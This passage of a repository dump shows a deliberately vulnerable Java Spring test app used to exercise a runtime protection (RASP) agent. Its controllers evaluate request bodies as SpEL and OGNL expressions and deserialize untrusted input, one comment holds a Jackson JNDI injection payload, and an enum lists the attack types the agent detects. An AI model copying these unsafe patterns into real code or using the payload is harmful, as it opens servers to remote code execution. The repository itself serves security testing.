26 | ------WebKitFormBoundary7MA4YWxkTrZu0gW--
27 |
28 |
29 |
30 | ### commons-fileupload
31 | POST /file/upload/case3 HTTP/1.1
32 | Host: 127.0.0.1:8080
33 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
34 |
35 | ------WebKitFormBoundary7MA4YWxkTrZu0gW
36 | Content-Disposition: form-data; name="file"; filename="1.txt"
37 | Content-Type: application/octet-stream
38 |
39 | < ./1.txt
40 | ------WebKitFormBoundary7MA4YWxkTrZu0gW--
41 |
42 |
43 | ### tomcat Part
44 | POST /file/upload/case4 HTTP/1.1
45 | Host: 127.0.0.1:8080
46 | Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
47 |
48 | ------WebKitFormBoundary7MA4YWxkTrZu0gW
49 | Content-Disposition: form-data; name="file"; filename="1.txt"
50 | Content-Type: application/octet-stream
51 |
52 | < ./1.txt
53 | ------WebKitFormBoundary7MA4YWxkTrZu0gW--
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/expression/SPELController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.expression;
2 |
3 | import com.ppp.vulns.core.vulns.expression.SPEL;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestBody;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.ResponseBody;
8 |
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.io.IOException;
12 |
13 | /**
14 | * @author Whoopsunix
15 | *
16 | * 请求参数获取示例
17 | */
18 | @Controller
19 | @RequestMapping("/spel")
20 | public class SPELController {
21 | @RequestMapping("/case1")
22 | @ResponseBody
23 | public Object case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
24 | System.out.println(requestBody);
25 | Object object = SPEL.spel(requestBody);
26 | return object;
27 | }
28 |
29 | @RequestMapping("/case2")
30 | @ResponseBody
31 | public Object case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
32 | System.out.println(requestBody);
33 | Object object = SPEL.spelStandardEvaluationContext(requestBody);
34 | return object;
35 | }
36 |
37 | @RequestMapping("/case3")
38 | @ResponseBody
39 | public Object case3(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
40 | System.out.println(requestBody);
41 | Object object = SPEL.spelMethodBasedEvaluationContext(requestBody);
42 | return object;
43 | }
44 |
45 | }
46 |
--------------------------------------------------------------------------------
/SecVulns/SecVulns.sql:
--------------------------------------------------------------------------------
1 | /*
2 | Navicat Premium Data Transfer
3 |
4 | Source Server : 127.0.0.1
5 | Source Server Type : MySQL
6 | Source Server Version : 80030 (8.0.30)
7 | Source Host : 127.0.0.1:3306
8 | Source Schema : SecVulns
9 |
10 | Target Server Type : MySQL
11 | Target Server Version : 80030 (8.0.30)
12 | File Encoding : 65001
13 |
14 | Date: 20/12/2023 10:55:31
15 | */
16 |
17 | SET NAMES utf8mb4;
18 | SET FOREIGN_KEY_CHECKS = 0;
19 |
20 | -- ----------------------------
21 | -- Table structure for users
22 | -- ----------------------------
23 | DROP TABLE IF EXISTS `users`;
24 | CREATE TABLE `users` (
25 | `id` int DEFAULT NULL,
26 | `username` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL,
27 | `password` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL
28 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;
29 |
30 | -- ----------------------------
31 | -- Records of users
32 | -- ----------------------------
33 | BEGIN;
34 | INSERT INTO `users` (`id`, `username`, `password`) VALUES (165827712, 'test', 'testpass');
35 | INSERT INTO `users` (`id`, `username`, `password`) VALUES (1362349079, 'admin', '123456');
36 | INSERT INTO `users` (`id`, `username`, `password`) VALUES (1467415847, 'superadmin', '&&*&*ASxxxads');
37 | COMMIT;
38 |
39 | -- ----------------------------
40 | -- Table structure for xss
41 | -- ----------------------------
42 | DROP TABLE IF EXISTS `xss`;
43 | CREATE TABLE `xss` (
44 | `id` int DEFAULT NULL,
45 | `messgae` varchar(255) COLLATE utf8mb4_bin DEFAULT NULL
46 | ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin;
47 |
48 | -- ----------------------------
49 | -- Records of xss
50 | -- ----------------------------
51 | BEGIN;
52 | INSERT INTO `xss` (`id`, `messgae`) VALUES (1234497866, '
');
53 | COMMIT;
54 |
55 | SET FOREIGN_KEY_CHECKS = 1;
56 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/SerializationController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.serialization;
2 |
3 | import com.ppp.vulns.core.vulns.serialization.Original;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestMapping;
6 | import org.springframework.web.bind.annotation.RequestParam;
7 | import org.springframework.web.bind.annotation.ResponseBody;
8 | import org.springframework.web.multipart.MultipartFile;
9 |
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.io.*;
13 |
14 | /**
15 | * @author Whoopsunix
16 | */
17 | @Controller
18 | @RequestMapping("/deserialization")
19 | public class SerializationController {
20 | @RequestMapping("/case1")
21 | @ResponseBody
22 | protected void binary(@RequestParam("file") MultipartFile file, HttpServletRequest req, HttpServletResponse resp) throws Exception {
23 | InputStream fileContent = file.getInputStream();
24 | byte[] bytes = new byte[fileContent.available()];
25 | fileContent.read(bytes);
26 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
27 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
28 | objectInputStream.readObject();
29 | }
30 |
31 | @RequestMapping("/case2")
32 | @ResponseBody
33 | public void case1(HttpServletRequest request, HttpServletResponse response) throws IOException {
34 | try {
35 | String b64 = request.getParameter("b64");
36 | System.out.println(b64);
37 |
38 | Object object = Original.deserializeBase64(b64);
39 |
40 | PrintWriter writer = response.getWriter();
41 | writer.println(object);
42 | } catch (Exception e) {
43 | e.printStackTrace();
44 | }
45 | }
46 |
47 |
48 | }
49 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/serialization/JacksonController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.serialization;
2 |
3 | import com.fasterxml.jackson.annotation.JsonTypeInfo;
4 | import com.fasterxml.jackson.databind.ObjectMapper;
5 | import org.springframework.stereotype.Controller;
6 | import org.springframework.web.bind.annotation.RequestBody;
7 | import org.springframework.web.bind.annotation.RequestMapping;
8 | import org.springframework.web.bind.annotation.ResponseBody;
9 |
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import java.io.IOException;
13 | import java.io.PrintWriter;
14 |
15 | /**
16 | * @author Whoopsunix
17 | */
18 | @Controller
19 | @RequestMapping("/jackson")
20 | public class JacksonController {
21 | @RequestMapping("/case1")
22 | @ResponseBody
23 | public void case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
24 | System.out.println(requestBody);
25 | System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
26 | ObjectMapper objectMapper = new ObjectMapper();
27 | objectMapper.enableDefaultTyping();
28 | objectMapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL, JsonTypeInfo.As.PROPERTY);
29 |
30 | // 用ObjectMapper.disableDefaultTyping()设置为只允许@JsonTypeInfo生效
31 | // objectMapper.disableDefaultTyping();
32 |
33 | // Method disableDefaultTypingM = objectMapper.getClass().getMethod("disableDefaultTyping");
34 | // disableDefaultTypingM.invoke(objectMapper);
35 |
36 | // json = "{\"@class\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/ehyo2t\",\"autoCommit\":true}";
37 | Object object = objectMapper.readValue(requestBody, Object.class);
38 |
39 |
40 | PrintWriter writer = response.getWriter();
41 | writer.println(object);
42 | }
43 | }
44 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/DeserializationController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller;
2 |
3 | import org.springframework.stereotype.Controller;
4 | import org.springframework.web.bind.annotation.RequestMapping;
5 | import org.springframework.web.bind.annotation.RequestParam;
6 | import org.springframework.web.multipart.MultipartFile;
7 |
8 | import javax.servlet.http.HttpServletRequest;
9 | import javax.servlet.http.HttpServletResponse;
10 | import java.io.ByteArrayInputStream;
11 | import java.io.InputStream;
12 | import java.io.ObjectInputStream;
13 | import java.util.Base64;
14 |
15 | /**
16 | * @author Whoopsunix
17 | */
18 | @Controller
19 | public class DeserializationController {
20 | @RequestMapping("/base64")
21 | protected void base64De(HttpServletRequest req, HttpServletResponse resp) throws Exception{
22 | try {
23 | // 反序列化
24 | String base64Str = req.getParameter("base64Str");
25 | System.out.println(base64Str);
26 | byte[] bytes = Base64.getDecoder().decode(base64Str);
27 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
28 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
29 | objectInputStream.readObject();
30 | }catch (Exception e){
31 | e.printStackTrace();
32 | }
33 |
34 | }
35 |
36 | @RequestMapping("/binary")
37 | protected void binary(@RequestParam("file") MultipartFile file, HttpServletRequest req, HttpServletResponse resp) throws Exception{
38 | InputStream fileContent = file.getInputStream();
39 | byte[] bytes = new byte[fileContent.available()];
40 | fileContent.read(bytes);
41 | ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
42 | ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
43 | objectInputStream.readObject();
44 | }
45 | }
46 |
--------------------------------------------------------------------------------
/SecVulns/springboot2Demo/src/main/java/com/ppp/vulns/springboot2/controller/expression/OGNLController.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.springboot2.controller.expression;
2 |
3 | import com.ppp.vulns.core.vulns.expression.OGNL;
4 | import org.springframework.stereotype.Controller;
5 | import org.springframework.web.bind.annotation.RequestBody;
6 | import org.springframework.web.bind.annotation.RequestMapping;
7 | import org.springframework.web.bind.annotation.ResponseBody;
8 |
9 | import javax.servlet.http.HttpServletRequest;
10 | import javax.servlet.http.HttpServletResponse;
11 | import java.io.IOException;
12 |
13 | /**
14 | * @author Whoopsunix
15 | *
16 | * 请求参数获取示例
17 | */
18 | @Controller
19 | @RequestMapping("/ognl")
20 | public class OGNLController {
21 | @RequestMapping("/case1")
22 | @ResponseBody
23 | public Object case1(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
24 | System.out.println(requestBody);
25 | Object object = OGNL.ognlGetValue(requestBody);
26 | return object;
27 | }
28 |
29 | @RequestMapping("/case2")
30 | @ResponseBody
31 | public void case2(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws IOException {
32 | System.out.println(requestBody);
33 | OGNL.ognlSetValue(requestBody);
34 | }
35 |
36 | @RequestMapping("/case3")
37 | @ResponseBody
38 | public Object case3(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception {
39 | System.out.println(requestBody);
40 | Object object = OGNL.ognlGetValueIbatis(requestBody);
41 | return object;
42 | }
43 |
44 | @RequestMapping("/case4")
45 | public void case4(@RequestBody String requestBody, HttpServletRequest request, HttpServletResponse response) throws Exception {
46 | System.out.println(requestBody);
47 | OGNL.ognlSetValueIbatis(requestBody);
48 | }
49 |
50 | }
51 |
--------------------------------------------------------------------------------
/ppprasp-agent/src/main/java/com/ppprasp/agent/common/enums/Algorithm.java:
--------------------------------------------------------------------------------
1 | package com.ppprasp.agent.common.enums;
2 |
3 | /**
4 | * @author Whoopsunix
5 | *
6 | * 算法名称
7 | */
8 | public enum Algorithm {
9 | /**
10 | * 反序列化
11 | */
12 | Deserialization("rasp-deserialization", "resolveClass"),
13 | XMLDeserialization("rasp-deserialization", "xml"),
14 |
15 | /**
16 | * 表达式
17 | */
18 | // SPELClass("rasp-expression", "spel-class"),
19 | SPEL("rasp-expression", "spel"),
20 | OGNL("rasp-expression", "ognl"),
21 | JXpath("rasp-expression", "ognl"),
22 |
23 | /**
24 | * JNDI 注入
25 | */
26 | JNDI("rasp-jndi", "lookup"),
27 |
28 | /**
29 | * JNI 注入
30 | */
31 | JNI("rasp-jni", "loadLibrary"),
32 |
33 | /**
34 | * 命令执行
35 | */
36 | RCENormal("rasp-rce", "normal"),
37 | RCENative("rasp-rce", "native"),
38 |
39 | /**
40 | * SQL 注入
41 | */
42 | SQLMYSQL("rasp-sql", "mysql"),
43 |
44 | /**
45 | * 文件上传
46 | */
47 | FileUpload("rasp-file-upload", "fileItem"),
48 | /**
49 | * 路径遍历
50 | */
51 | FileDirectory("rasp-file-directory", "list"),
52 | /**
53 | * 文件读取
54 | */
55 | FileREAD("rasp-file-read", "read"),
56 |
57 | /**
58 | * 内存马
59 | */
60 | MSSpringController("rasp-ms", "spring-controller"),
61 | MSTomcatExecutor("rasp-ms", "tomcat-executor"),
62 | MSTomcatListener("rasp-ms", "tomcat-listener"),
63 | MSTomcatServlet("rasp-ms", "tomcat-servlet"),
64 | MSTomcatFilter("rasp-ms", "tomcat-filter"),
65 | MSJettyListener("rasp-ms", "jetty-listener"),
66 | ;
67 |
68 | private final String algoId;
69 | private final String algoName;
70 | Algorithm(String algoId, String algoName) {
71 | this.algoId = algoId;
72 | this.algoName = algoName;
73 | }
74 |
75 | public String getAlgoId() {
76 | return algoId;
77 | }
78 |
79 | public String getAlgoName() {
80 | return algoName;
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/SecVulns/vulnsCore/src/main/java/com/ppp/vulns/core/vulns/inject/sql/HQL.java:
--------------------------------------------------------------------------------
1 | package com.ppp.vulns.core.vulns.inject.sql;
2 |
3 | import org.hibernate.Session;
4 | import org.hibernate.SessionFactory;
5 | import org.hibernate.Transaction;
6 | import org.hibernate.cfg.Configuration;
7 | import org.hibernate.query.NativeQuery;
8 |
9 | import java.util.ArrayList;
10 | import java.util.List;
11 |
12 | /**
13 | * @author Whoopsunix
14 | */
15 | public class HQL {
16 | public static void main(String[] args) throws Exception {
17 | List